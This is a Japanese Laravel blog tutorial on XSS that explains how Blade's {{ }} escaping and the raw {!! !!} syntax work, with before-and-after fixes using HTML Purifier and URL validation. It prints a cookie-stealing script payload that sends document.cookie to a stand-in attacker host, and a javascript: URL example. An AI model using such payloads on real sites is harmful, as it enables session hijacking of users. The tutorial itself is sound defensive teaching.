【Laravel】XSS対策:Bladeのエスケープ処理を理解する

laravelアイキャッチ Laravel

こんにちは、かつコーチです。

前回はCSRF対策について解説しました。

今回は、もう一つの代表的なWeb脆弱性であるXSS(クロスサイトスクリプティング)と、Laravelの標準テンプレートエンジンBladeがどう対策しているかを見ていきます。

「なぜ{{ }}を使えば安全で、{!! !!}は危険なのか」を、仕組みから理解しておきましょう。

XSSとは?どんな攻撃なのか

XSS攻撃の仕組み

XSS(Cross-Site Scripting:クロスサイトスクリプティング)とは、悪意のあるスクリプトを他のユーザーのブラウザ上で実行させる攻撃です。

典型的なパターンは、ユーザーが入力した内容をそのままページに表示する掲示板やコメント欄です。

  1. 攻撃者が、コメント欄に<script>タグを含む悪意のある文字列を投稿する
  2. サーバーが、その文字列を「無害な文字列」として無加工でHTMLに出力してしまう
  3. 他のユーザーがそのページを開くと、ブラウザは埋め込まれた<script>をそのまま実行してしまう
  4. 結果として、Cookie情報の盗み出しや、意図しないページへの誘導などが行われる

CSRFが「別サイトから正規サイトへの不正リクエスト」だったのに対し、XSSは「正規サイトの中に悪意のあるスクリプトを紛れ込ませる」攻撃という違いがあります。

具体的な攻撃コード例

たとえば、コメント欄に次のような文字列が投稿されたとします。

<script>document.location='https://evil.example.com/steal?cookie=' + document.cookie</script>

このコメントを他のユーザーが表示した瞬間、ブラウザ上でこのスクリプトが実行され、ログイン中のセッションCookieが攻撃者のサーバーに送信されてしまいます。

Cookieが盗まれると、そのユーザーになりすましてログインされてしまう危険があります。

Bladeのエスケープ処理の仕組み

{{ }}は自動的にエスケープされる

Laravelでは、Bladeの{{ $variable }}構文を使うと、出力時に自動的にHTMLエスケープ<>などの特殊文字を無害な表記に変換する処理)が行われます。

<?php
// コントローラ側
$comment = '<script>alert("XSS")</script>';
<!-- Bladeテンプレート -->
<p>{{ $comment }}</p>

このとき、ブラウザに送られるHTMLは次のようにエスケープされています。

<p>&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</p>

<script>というタグとしてではなく、単なる文字列としてそのまま画面に表示されるため、スクリプトは実行されません。

Bladeの{{ }}は、内部的にPHPのhtmlspecialchars()関数を使ってこのエスケープを行っています。

「特別な対策コードを書かなくても、{{ }}を使うだけでXSS対策になっている」というのが、Bladeの大きなメリットです。

{!! !!}はエスケープされない

一方、Bladeには生のHTMLをそのまま出力する{!! $variable !!}という構文も用意されています。

<!-- エスケープされずそのままHTMLとして出力される -->
<div>{!! $comment !!}</div>

これを使うと、先ほどの悪意のあるスクリプトがそのまま実行されてしまいます。

{!! !!}は、CMSの本文表示など「意図的にHTMLタグを含んだコンテンツを表示したい」場面のための構文であり、ユーザー入力をそのまま渡すのは非常に危険です。

つまずきやすいポイント:Before/Afterで見るXSS対策

脆弱なコードと対策済みコードの対比

私が実際に痛い目を見たのは、リッチテキストエディタ(WYSIWYGエディタ)で投稿されたブログ記事本文を表示する機能を作ったときでした。

「本文にはHTMLタグ(太字・改行など)が含まれるから」という理由で、深く考えずに{!! !!}を使ってしまい、テスト用のダミーデータで<script>タグを含む文字列を試したところ、あっさりアラートが実行されて青ざめた経験があります。

❌ Before:ユーザー入力を無条件に{!! !!}で出力する

<?php
// app/Http/Controllers/CommentController.php

public function store(Request $request, Post $post)
{
    $post->comments()->create([
        'user_id' => $request->user()->id,
        // バリデーションはしているが、HTMLタグの中身までは検証していない
        'body' => $request->input('body'),
    ]);

    return back();
}
<!-- resources/views/posts/show.blade.php -->
@foreach ($post->comments as $comment)
    <div class="comment">
        <!-- 危険:ユーザー入力をそのままHTMLとして出力している -->
        {!! $comment->body !!}
    </div>
@endforeach

このコードでは、コメントに<script>タグを含めるだけで、閲覧した全ユーザーのブラウザでスクリプトが実行されてしまいます。

✅ After:ユーザー入力は{{ }}で出力する(HTMLタグを許可したい場合はサニタイズする)

まず、単純なテキストコメントであれば、{{ }}を使うだけで安全になります。

<!-- resources/views/posts/show.blade.php -->
@foreach ($post->comments as $comment)
    <div class="comment">
        <!-- 安全:自動的にHTMLエスケープされる -->
        {{ $comment->body }}
    </div>
@endforeach

どうしても本文に一部のHTMLタグ(太字・リンクなど)を許可したい場合は、{!! !!}を使う前にサニタイズ(危険なタグ・属性だけを除去する処理)を行います。

composer require mews/purifier
<?php
// app/Http/Controllers/CommentController.php

use Mews\Purifier\Facades\Purifier;

public function store(Request $request, Post $post)
{
    $post->comments()->create([
        'user_id' => $request->user()->id,
        // 許可したタグ以外(scriptなど)は自動的に除去される
        'body' => Purifier::clean($request->input('body')),
    ]);

    return back();
}

保存時点で危険なタグを除去しておくことで、表示側で{!! !!}を使っても安全な状態を保てます。

「ユーザーが入力した値は、表示する場所で必ず{{ }}を使う」を基本ルールにし、{!! !!}を使う場合は「なぜ生のHTMLが必要なのか」「入力段階でサニタイズされているか」を必ず自問する、という習慣が事故を防いでくれます。

属性値・URL・JavaScript内への出力にも注意する

HTMLの本文だけでなく、属性値やJavaScriptの中にユーザー入力を埋め込む場合も注意が必要です。

❌ Before:href属性にユーザー入力をそのまま埋め込む

<!-- ユーザーが javascript: から始まるURLを入力すると危険 -->
<a href="{{ $user->website }}">{{ $user->name }}のサイト</a>

$user->websitejavascript:alert(document.cookie)のような値が入っていると、リンクをクリックした瞬間にスクリプトが実行されてしまいます。

✅ After:URLの形式をバリデーションで制限する

<?php
// app/Http/Requests/UpdateProfileRequest.php

public function rules(): array
{
    return [
        // http/httpsで始まるURL形式であることを検証する
        'website' => ['nullable', 'url', 'starts_with:http://,https://'],
    ];
}

保存前のバリデーション段階で不正な形式のURLを弾いておくことで、表示側でのリスクを減らせます。

応用:Vue/ReactのSPAと組み合わせる場合の注意点

フロントエンドでも同様のエスケープが必要

Sanctum記事で扱ったようなSPA構成の場合、表示側の役割をVueやReactが担うことになります。

これらのフレームワークも、標準の出力構文(Vueの{{ }}、Reactの{変数})では自動的にエスケープが行われます。

ただし、Vueのv-htmlやReactのdangerouslySetInnerHTMLは、Bladeの{!! !!}と同じく生のHTMLをそのまま描画するため、同様のリスクがあります。

「テンプレートエンジンが違っても、生のHTMLをそのまま出力する構文には要注意という考え方は共通している」と覚えておくと、技術が変わっても応用が効きます。

まとめ

この記事のポイント

  • XSSは、悪意のあるスクリプトを他のユーザーのブラウザで実行させる攻撃
  • Bladeの{{ }}は自動的にHTMLエスケープされ、標準でXSS対策になっている
  • {!! !!}はエスケープされないため、ユーザー入力を直接渡すのは危険
  • HTMLタグを許可したい場合は、表示前にmews/purifierなどでサニタイズする
  • 属性値やURLへの出力も、バリデーションで形式を制限しておくと安全性が高まる

次に読むべき記事

CSRF・XSSと来たら、次は認証情報そのものを守るパスワードハッシュ化の仕組みを見ていきましょう。

→ 次の記事:パスワードハッシュ化(bcrypt)の仕組み

タイトルとURLをコピーしました